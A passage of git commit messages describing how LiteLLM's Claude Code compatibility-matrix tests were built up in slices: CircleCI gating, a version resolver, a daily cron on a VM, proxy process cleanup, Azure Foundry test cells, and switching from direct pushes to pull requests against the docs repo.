but the test files read `LITELLM_PROXY_BASE_URL` and
`LITELLM_PROXY_API_KEY` (search the test_config-driven test files
for `PROXY_BASE_URL_ENV = "LITELLM_PROXY_BASE_URL"`). Tests were
marking themselves `fail` with
"missing required env: set LITELLM_PROXY_BASE_URL...". Fix: rename
the two env vars in the pytest invocation. The driver still
propagates them onward as ANTHROPIC_BASE_URL/AUTH_TOKEN to Claude.
4. Cleanup couldn't find the proxy
--------------------------------
The previous setup did
`( ... && setsid uv run litellm ... ) &; PROXY_PID=$!`. `setsid`
detaches the inner uv into its own session, but `$!` records the
PID of the outer subshell, not the long-lived python proxy. So
`kill -TERM "-${PROXY_PID}"` in the EXIT trap targeted the wrong
pgid and the proxy survived as an orphan whenever the script was
killed externally. Fix: replace the subshell with
`setsid bash -c '...'` that writes $$ to a known pid file before
exec'ing the proxy. The cleanup trap reads that file and uses it
as the pgid. Belt-and-braces: the trap also `pgrep -f`s by port
number and SIGKILLs survivors. Trap now fires on `INT TERM` too,
not just `EXIT`.
5. .uv-bin cache survives git clean
---------------------------------
The original `git clean -fdx -e .venv` wiped `.uv-bin/` between
runs, forcing re-download of the pinned uv binary on every
invocation. Now excluded.
Things that worked first try
----------------------------
* Worktree clone + checkout to the resolved tag.
* gh auth on this VM (mateo-berri account, collaborator on
BerriAI/litellm-docs).
* The matrix builder produced a well-formed
`compatibility-matrix.json` with the right per-cell aggregation
even when 4 of 5 cells failed (tier 2 was: anthropic=pass,
bedrock_invoke=fail, bedrock_converse=fail, vertex_ai=fail with a
real 403 from GCP for insufficient scopes, azure=fail with
timeout).
The previous iteration of this PR ported the populator to a Python
module (`publisher.py`) with 8 unit-tested pure helpers for branch
naming and PR-body rendering. After the docker code came out, the
GitHub App auth came out, and the worktree-vs-tempdir decision was
made, what was left was: 'git fetch + git checkout + uv sync + start
a subprocess + run pytest + clone docs + git commit + gh pr create'.
That's a bash script.
This commit replaces 800 lines of Python (publisher.py + resolver.py +
their unit tests) with a 297-line run_daily.sh and a 48-line
build_matrix.py whose only job is to be importable Python that can
call into the matrix_builder we already have. Net deletion: -822 lines.
Removed
-------
* tests/claude_code/publisher.py — the full Python orchestrator.
Every code path it had is now in run_daily.sh.
* tests/claude_code/resolver.py — the GitHub Releases v*-stable
resolver. Replaced by ~10 lines of jq inside run_daily.sh.
* tests/claude_code/_publisher_unit_tests/ — both test files. The
pure helpers they covered (commit message, file allowlist, branch
name, PR title/body) only existed because publisher.py was Python.
The bash equivalents are short heredoc strings.
Added
-----
* tests/claude_code/cron_vm/run_daily.sh — the actual cron job,
structured as numbered phases (resolve / worktree / proxy /
pytest / build / publish) so journalctl output is readable.
* tests/claude_code/cron_vm/build_matrix.py — a 48-line CLI that
calls the existing matrix_builder.build_from_paths. Kept in
Python because the builder itself is Python and well-tested.
Modified
--------
* tests/claude_code/cron_vm/litellm-compat-matrix.service —
ExecStart now invokes run_daily.sh instead of
'python -m tests.claude_code.publisher'.
* tests/claude_code/cron_vm/README.md — updated layout table,
file roles, and operating commands to match.
Why this is the right shape
---------------------------
* The failure mode at 06:00 UTC is 'read journalctl, see the literal
failing command with its + prefix, copy-paste it into a shell to
reproduce'. Bash makes that immediate; Python's subprocess.run
output looks similar but the surrounding orchestration is harder
to step through interactively.
* Every operation the script does is already a shell command (git,
uv, gh, jq, curl, pytest). The Python wrapper was translating
between argv arrays and back.
* The two pieces that genuinely benefit from being in a typed
language are matrix_builder (already Python) and the resolver's
semver sort (now done in jq, with the version_key tuple sort
inline). 'Already Python' wins, 'tiny jq pipeline' wins.
What's preserved
----------------
* Idempotency: same (litellm, claude, UTC date) -> same branch ->
same PR. force-with-lease push, gh-pr-create no-op-on-exists.
* Byte-identical-JSON early return (git diff --cached --quiet).
* Per-feature status table in the PR body (jq pipeline mirroring
the Python pr_body_for_matrix logic).
* Persistent worktree approach so disk doesn't grow unboundedly.
* Proxy bound to :4100 to avoid colliding with a developer's :4000.
* SKIP_PUBLISH=1 and PYTEST_K=... operator escape hatches.
Operator escape hatch for first-time validation after a Claude Code CLI
upgrade or a proxy-config change. Setting `PYTEST_K=anthropic and
basic_messaging_non_streaming` (for example) narrows the matrix run to
one cell, which is enough to confirm the worktree+uv+proxy+pytest
plumbing without burning a full $2 in provider tokens.
Cells the narrowed run doesn't touch are filled with `not_tested` by
the matrix builder, so a PYTEST_K-narrowed run is structurally safe to
publish — though in practice operators pair it with `--skip-publish`
during validation.
The daily compat-matrix runs from the dedicated GCP VM
`litellm-compatibility-matrix-populator` rather than from a GitHub
Actions runner. The VM has no docker daemon, has `gh` already
authenticated against an account with `pull-requests: write` on
`BerriAI/litellm-docs`, and runs a long-lived litellm checkout we can
reuse across runs. That makes Docker, the GitHub App auth flow, and the
GHA workflow itself dead code.
Removed
-------
* `.github/workflows/claude_code_compat_matrix.yml` — no longer
triggers anything; the systemd timer in this PR owns the daily fire.
* `docker_image_for_tag` + `DOCKER_IMAGE_BASE` constants and the two
unit tests that covered them.
* `_start_proxy(image, port)` / `_stop_proxy(container_id)` /
`docker run` flow, replaced by direct `uv run litellm` subprocess
management with a sigterm-the-process-group teardown.
* `--skip-proxy` CLI flag (was only useful when the GHA workflow
split docker-bringup from publish into separate jobs).
* `docs_token` parameter and `DOCS_REPO_TOKEN` env var; `gh` on
the VM is already authenticated, so we don't pass an explicit
token through the publisher.
Added
-----
* Persistent worktree flow in `publisher.py`. First run clones
`BerriAI/litellm` into `~/litellm-cron-worktree/`; subsequent runs
do `git fetch --tags && git checkout --force <stable-tag> &&
uv sync --frozen`. Disk footprint is bounded because uv sync
removes packages no longer pinned and `git clean -fdx -e .venv`
wipes per-run cruft while keeping the venv around.
* `tests/claude_code/cron_vm/` containing systemd units and a
setup README:
- `litellm-compat-matrix.service` (`Type=oneshot`, runs as the
`mateo` user, sources `/etc/litellm-compat-matrix.env` for
provider creds, hardened with `NoNewPrivileges` /
`ProtectSystem=strict` / `PrivateTmp`);
- `litellm-compat-matrix.timer` (`OnCalendar=*-*-* 06:00:00 UTC`,
`Persistent=true` so a missed run fires when the VM is back up,
`RandomizedDelaySec=10min`);
- `.env.example` documenting the provider-credential surface;
- `README.md` covering one-time install, daily operation,
`journalctl` debugging, and the gotchas (proxy port `4100` to
avoid colliding with a developer's `:4000`, `gh` token
rotation, what to do after a Claude Code CLI upgrade).
Operator notes
--------------
* The proxy now binds `:4100` by default so a developer SSH'd into
the VM with their own `:4000` proxy isn't preempted by the cron.
* The Claude Code CLI is exercised as-is from the system install;
the populator does NOT `npm install` it. Operators upgrade the
CLI by running `npm install -g @anthropic-ai/claude-code@latest`
out of band, typically after watching a `--skip-publish` run to
verify the matrix doesn't suddenly turn red.
* 20 publisher unit tests pass (`pytest
tests/claude_code/_publisher_unit_tests/`).
* End-to-end validation on the VM happens after this PR lands as
follow-up commits on the same branch — the systemd unit is
`Type=oneshot` so a manual `systemctl start` reproduces the cron.
The daily Claude Code compatibility-matrix cron has been direct-pushing
`compatibility-matrix.json` to litellm-docs's main branch. Switch to
opening (or updating) a pull request so docs maintainers can review each
matrix update before it ships to readers.
Behavioural changes
-------------------
publisher.publish() now:
* checks out a deterministic head branch
(`compat-matrix/<litellm>-<claude>-<UTC-date>`) before staging the
JSON, instead of committing on top of the docs branch directly;
* `git push --force-with-lease` so a same-day rerun updates the
existing branch (and therefore the existing PR), without
overwriting any docs-maintainer fixup commit on the same branch;
* shells out to `gh pr create` against `docs_repo` with a
title/body that surfaces the resolved versions and a per-feature
status summary, so reviewers can triage from the inbox;
* treats 'a pull request for branch ... already exists' as success,
so two cron runs on the same day produce one PR, not two.
Idempotency contract
--------------------
* Same (litellm_version, claude_code_version, UTC date) -> same
branch -> same PR. Verified by the new
`test_pr_branch_name_is_deterministic_per_inputs` /
`...changes_when_any_component_changes` tests.
* Byte-identical JSON to the docs branch -> early-return before
push, same as the previous direct-push path.
* Empty version inputs are rejected up front so two distinct PRs
can never silently collapse onto one branch.
Tests
-----
* 8 new tests in `_publisher_unit_tests/test_publisher.py` cover
`pr_branch_name`, `pr_title_for_matrix`, and `pr_body_for_matrix`
(determinism, content, ordering, missing-provider rectangularity,
empty-input rejection).
* Existing 7 `commit_message_for_matrix` /
`docker_image_for_tag` / `select_files_to_commit` tests are
unchanged and still pass.
Workflow
--------
`.github/workflows/claude_code_compat_matrix.yml` updates only the
header doc comment to reflect that the GitHub App now needs
`pull-requests: write` in addition to `contents: write`. `gh` is
preinstalled on `ubuntu-latest` (also used by
`auto_update_price_and_context_window.yml`), so no install step is
needed.
Operator action required (one-time)
-----------------------------------
The compat-matrix GitHub App installation on `BerriAI/litellm-docs`
needs `pull-requests: write` added to its installation permissions
before the next cron run. Without it, the new `gh pr create` call
will fail with a 403; `compat-results.json` and
`compatibility-matrix.json` will still upload as workflow artifacts
for debugging.
Anthropic and Microsoft announced Claude Haiku 4.5, Sonnet 4.5/4.6, and
Opus 4.1/4.6/4.7 in Microsoft Foundry on 2025-11-18, so the matrix's
Azure column should exercise a real route through the LiteLLM proxy
rather than report not_applicable.
Foundry serves Claude on an Anthropic-shape /anthropic/v1/messages
endpoint (not the Azure OpenAI chat-completions route), and LiteLLM
already supports it via the azure_ai/claude-* provider prefix
(litellm/llms/azure_ai/anthropic/{handler,transformation,messages_transformation}.py).
- test_config.yaml: add 3 azure aliases pointing at azure_ai/claude-*
with AZURE_FOUNDRY_API_BASE / AZURE_FOUNDRY_API_KEY env
- 6x test_azure.py: replace not_applicable stubs with real run_claude
drivers, mirroring the existing test_vertex_ai.py shape exactly
- sample_compatibility-matrix.json: Azure cells flip to pass
- _builder_unit_tests: pin the new invariant (run_claude is used,
not_applicable is gone) and feed pass results across all 5 providers
in the 6x5 golden test
Slice 5 of the Claude Code Compatibility Matrix: extend the published
matrix from the 1x5 grid that landed in slice 2 to the full v0 6x5
grid described in the PRD's "Features in v0" section. After this
slice merges and the daily cron runs, the docs page reflects all six
v0 features against all five providers.
What landed:
- tests/claude_code/manifest.yaml
Five new entries appended in PRD row order:
basic_messaging_streaming, tool_use, prompt_caching_5m, vision,
extended_thinking. The manifest is the row-order source of truth
the matrix builder respects.
- tests/claude_code/<feature>/test_<provider>.py (25 new files)
For each of the five new features, five per-provider test files
modeled on slice 2's basic_messaging_non_streaming/. Each non-Azure
file parametrizes over Haiku 4.5 / Sonnet 4.6 / Opus 4.7 and drives
the real `claude` CLI through the driver with feature-specific
options:
* basic_messaging_streaming — count-1-to-5 prompt; asserts the
stream-json wire actually emitted events plus a non-empty reply.
* tool_use — `--allowed-tools Bash` plus an `echo pong` prompt;
asserts a `tool_use` content block was emitted.
* prompt_caching_5m — same baseline prompt as non-streaming, but
asserts the upstream usage block reports
cache_creation_input_tokens or cache_read_input_tokens > 0
(Claude Code stamps cache_control on its system prompt by default,
so a single live call surfaces it).
* vision — decodes a checked-in 1x1 PNG (base64 const) into
`tmp_path` and attaches it via `--image`; asserts a non-empty
reply.
* extended_thinking — sets `MAX_THINKING_TOKENS=4096`; asserts a
`thinking` content block was emitted.
All five Azure files report `not_applicable` with the standard
reason: Azure OpenAI Service does not host Anthropic models.
- tests/claude_code/sample_compatibility-matrix.json
Hand-authored 6x5 sample showing the realistic best-case outcome:
4 pass + 1 not_applicable (Azure) per row.
- tests/claude_code/_builder_unit_tests/test_v0_layout.py
New structural unit tests pinning the on-disk shape so future edits
can't silently flip the matrix shape:
* manifest lists all six v0 feature ids in PRD order
* manifest lists all five v0 provider columns in PRD order
* every (feature, provider) has a test file at the inferred path
* every test file references all three required Claude tiers
* every Azure test file is a `not_applicable` declaration
- tests/claude_code/_builder_unit_tests/test_matrix_builder.py
Renamed the slice-2 1x5 golden test to
test_build_matrix_6x5_grid_matches_published_sample and rebuilt
its inputs to feed all six features. The golden file is now the
6x5 sample.
Key decisions:
- Per-feature per-provider test bodies are deliberately duplicated
(per the PRD: "Duplication across per-provider files is accepted").
Each file is self-contained so a contributor touching one cell
doesn't accidentally regress neighbors.
- Only Azure cells are marked `not_applicable` in this slice. Other
combinations that turn out to genuinely not apply on the live cron
run (e.g. a provider that doesn't support `thinking` for a tier)
will be tightened to `not_applicable` reasons in a follow-up; for
now they fail honestly, which the matrix renderer paints red.
- prompt_caching_5m's assertion (cache tokens > 0 in the usage block)
exercises the path Claude Code customers care about: that the proxy
preserves `cache_control` annotations end-to-end. It does not try
to differentiate cache_creation vs cache_read across runs.
- The vision PNG fixture is generated at test time from a base64
const rather than checked into git as a binary — keeps the diff
text-only and avoids needing PIL or any image-generation library.
Tests: 31 -> 142 unit tests passing (no proxy / no `claude` CLI
required). Test counts:
* 12 builder tests (was 11; +1 for 6x5 golden, the slice-2 1x5
test was renamed in place)
* 100 v0_layout structural tests (new)
* 10 driver tests (unchanged)
* 9 compat_result tests (unchanged)
* 14 publisher unit tests (unchanged)
* 8 PR-gate version-resolver tests (unchanged)
* 6 CircleCI structural tests (unchanged)
The 90 per-cell tests under tests/claude_code/<feature>/ continue to
require a running proxy + `claude` CLI; they only run inside the
CircleCI PR gate or the daily-cron VM (both established in slices
3 and 4).
Out of scope per CLAUDE.md (docs live in BerriAI/litellm-docs):
- The companion update to compatibility-matrix.json in the docs repo.
After slice 4's daily-cron lands the App credentials, the cron run
will replace the docs-side hand-authored JSON automatically; until
then the slice-2 1x5 sample remains in the docs repo.
Notes for next iteration:
- The exact `claude` CLI flags for tool-allowlist (`--allowed-tools`),
vision (`--image`), and extended thinking (`MAX_THINKING_TOKENS`)
are best-guess from the current Claude Code surface; if the live
PR-gate run reveals different flag names, tighten in place.
- Several non-Azure cells will likely need `not_applicable`
declarations once the cron VM produces real outcomes (e.g.
Bedrock Invoke + extended_thinking is uncertain). That refinement
is an iteration-2 follow-up driven by data, not a blocker for this
slice.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Slice 4 of the Claude Code Compatibility Matrix: stand up the daily-cron
pipeline that publishes `compatibility-matrix.json` to the docs repo. After
this slice lands, the hand-authored matrix in the docs repo is replaced by
auto-generated output, and the docs page begins reflecting real test runs
against the latest stable LiteLLM release.
What landed:
- tests/claude_code/resolver.py
Latest Stable LiteLLM Resolver. Calls the GitHub Releases API and
returns the newest tag matching `v*-stable`. Sort is numeric on
(major, minor, patch) so v1.10.0-stable correctly outranks
v1.9.5-stable. Injectable `http_get` so tests run offline.
- tests/claude_code/publisher.py
Daily-cron orchestrator. Resolves the latest stable tag, pulls
`ghcr.io/berriai/litellm:<tag>`, starts it as the proxy, installs
`@anthropic-ai/claude-code@latest`, runs `pytest tests/claude_code/`,
invokes the Matrix JSON Builder, and direct-pushes
`compatibility-matrix.json` to the docs repo's main branch using a
GitHub App installation token (`DOCS_REPO_TOKEN`). Idempotent: a no-op
if the JSON is byte-identical to what's already on main.
- tests/claude_code/_publisher_unit_tests/test_resolver.py
test_publisher.py
14 unit tests covering the small pure helpers — version sort,
non-stable filtering, http-get injection, commit message determinism,
Docker image-name builder, and the file allowlist that enforces the
"only `compatibility-matrix.json` ever ships" guarantee. Per the PRD's
"Testing Decisions" section, the publisher's full subprocess
orchestration intentionally ships without a unit-test harness; the
daily-cron failure surface is itself the test.
- .github/workflows/claude_code_compat_matrix.yml
GitHub Actions workflow with three triggers (daily cron at 06:00 UTC,
`release: published` filtered to `*-stable` tags, and
`workflow_dispatch`). Mints a docs-repo installation token from a
GitHub App scoped to `BerriAI/litellm-docs` only with `contents:
write`, then runs the publisher.
- .gitignore
Add `compatibility-matrix.json` (cron VM output).
Key decisions:
- "Isolated VM" is realized as a GitHub-hosted ubuntu-latest runner —
every run gets a fresh ephemeral VM, and the always-latest Claude
Code CLI is only ever installed inside that ephemeral environment,
so a malicious or broken Claude Code release cannot affect the
trusted PR-gate CI in CircleCI.
- File-level restriction on the GitHub App's broad `contents: write`
scope is enforced by `select_files_to_commit` (script correctness),
per the PRD's explicit acknowledgement that GitHub does not support
file-path-scoped tokens.
- `release` runs are filtered to tags ending in `-stable` at the
workflow level, so a `v1.84.0-rc1` release does not republish the
matrix.
- Resolver and publisher live under `tests/claude_code/` alongside
`matrix_builder.py` and `cli_driver.py` — production code that
supports the test suite, kept colocated with it to match the slice
1+2 layout.
Out of scope / blockers for next iteration:
- Provisioning the GitHub App itself (creating it under BerriAI's
org, installing it on litellm-docs only, generating the private key
and registering `COMPAT_MATRIX_APP_ID` / `COMPAT_MATRIX_APP_PRIVATE_KEY`
as repo secrets) is an operator/infra step that cannot land via a
code change in this repo.
- The first successful cron run is what removes the hand-authored
`compatibility-matrix.json` from the docs repo and replaces it with
generated output — that happens after this PR merges and the App is
installed; not a code change here.
Tests: 34 -> 45 passing (added 7 resolver tests + 7 publisher helper
tests, all unit-only and offline). The 12 per-cell failures under
`tests/claude_code/basic_messaging_non_streaming/` remain by design —
they require a running proxy which the cron VM provides.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Slice 3 of the Claude Code Compatibility Matrix: wire the
`tests/claude_code/` suite into CircleCI as a pre-merge gate. A red
status on the new `claude_code_compat_pr_gate` job blocks merge into
the staging branch.
What landed:
- tests/claude_code/pr_gate_version_resolver.py
The Claude Code PR-Gate Version Resolver described in the PRD's
"Version resolvers" section. Queries the npm registry for
`@anthropic-ai/claude-code` and returns the newest version whose
publish timestamp is at least 3 days old. The 3-day window is a
security review buffer: a malicious or broken Claude Code release
has at least 72 hours to be detected before it can land in our PR
gate. Importable function (with `metadata=` / `fetcher=` / `as_of=`
injection seams for tests) and a `python -m ...` CLI for the CI step.
- tests/claude_code/test_config.yaml
Proxy routing config that maps the per-cell aliases the tests use
(`claude-haiku-4-5`, `claude-haiku-4-5-bedrock-invoke`, ...,
`claude-opus-4-7-vertex`) to real upstream model ids on Anthropic /
Bedrock (Invoke + Converse) / Vertex AI. Azure intentionally has no
entries here because every Azure × claude-code cell is
`not_applicable` (Azure OpenAI doesn't host Claude).
- .circleci/config.yml
New `claude_code_compat_pr_gate` job. Pattern modeled on
`proxy_e2e_anthropic_messages_tests` (load PR-built docker image,
start postgres, mount config.yaml). New step in the middle:
resolve the Claude Code version from the resolver, install Node 20
via the machine image's preinstalled nvm, and `npm install -g
@anthropic-ai/claude-code@${CLAUDE_CODE_VERSION}` (pinned, never
`latest`). Wired into `workflows.build_and_test` with a
`requires: [build_docker_database_image]` gate and the same
`*main_branches` filter the other proxy e2e job uses.
- tests/claude_code/_pr_gate_unit_tests/
16 new unit tests:
* 8 against the version resolver: boundary (>= 3d inclusive),
empty / all-too-new metadata, semver-vs-publish-time tiebreak,
custom min_age, fetcher injection, npm `time.created` /
`time.modified` skipping.
* 8 structural tests against `.circleci/config.yml`: job exists,
is in the workflow, requires the docker image, invokes the
resolver, install command is pinned (rejects unpinned `latest`),
runs `tests/claude_code/`, mounts `test_config.yaml`, exports
`LITELLM_PROXY_BASE_URL` / `LITELLM_PROXY_API_KEY`. Plus one
regression test: the existing `proxy_e2e_anthropic_messages_tests`
job is unchanged in shape (acceptance criterion).
Key decisions:
- "Newest version" in the resolver is by **publish time**, not by
semver string ordering — if a patch lands on an older major after a
newer release, the patched line is the eligible one. (Tested.)
- The resolver's CLI prints the announcement to stderr and the bare
version to stdout, so the CI step can do
`CLAUDE_CODE_VERSION=$(uv run python -m ...)` cleanly while still
surfacing the selected version in the job log (acceptance criterion:
"the selected Claude Code version is logged").
- The structural CircleCI tests live under `_pr_gate_unit_tests/` so
the conftest path-inference hook skips them (the leading underscore
is the existing convention from `_driver_unit_tests/` /
`_builder_unit_tests/`); they don't pollute the matrix artifact.
- No `--no-verify` style supply-chain safety relaxation. Per the PRD,
Claude Code's pinning is the 3-day publish-age window, not a fixed
hash — by design, since the daily cron also pulls newer versions.
Tests: 47 -> 47 passing for the unit suite (16 new + 31 from slices
1 and 2). The end-to-end cells under `basic_messaging_non_streaming/`
require `LITELLM_PROXY_BASE_URL` / `LITELLM_PROXY_API_KEY` and a
running proxy + `claude` CLI; they only run inside the new CircleCI
job.
Out of scope per CLAUDE.md (docs live in BerriAI/litellm-docs):
- No docs PR is needed for this slice — the gate produces a status
check, not a published artifact. The compat matrix JSON the docs
page consumes is published by the daily-cron job (a future slice),
not by the PR gate.
Notes for next iteration:
- The daily cron / matrix publisher is the next slice. Several
pieces this slice introduces (the `tests/claude_code/test_config.yaml`
proxy config, the structure of the compat-results.json artifact)
will be reused by it.
- The bedrock-converse / vertex_ai aliases in `test_config.yaml` use
best-guess upstream model ids (`us.anthropic.claude-{tier}` and
`vertex_ai/claude-{tier}`); the real ids may need to be tightened
once the gate runs against live AWS / GCP credentials and we see
what resolves.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
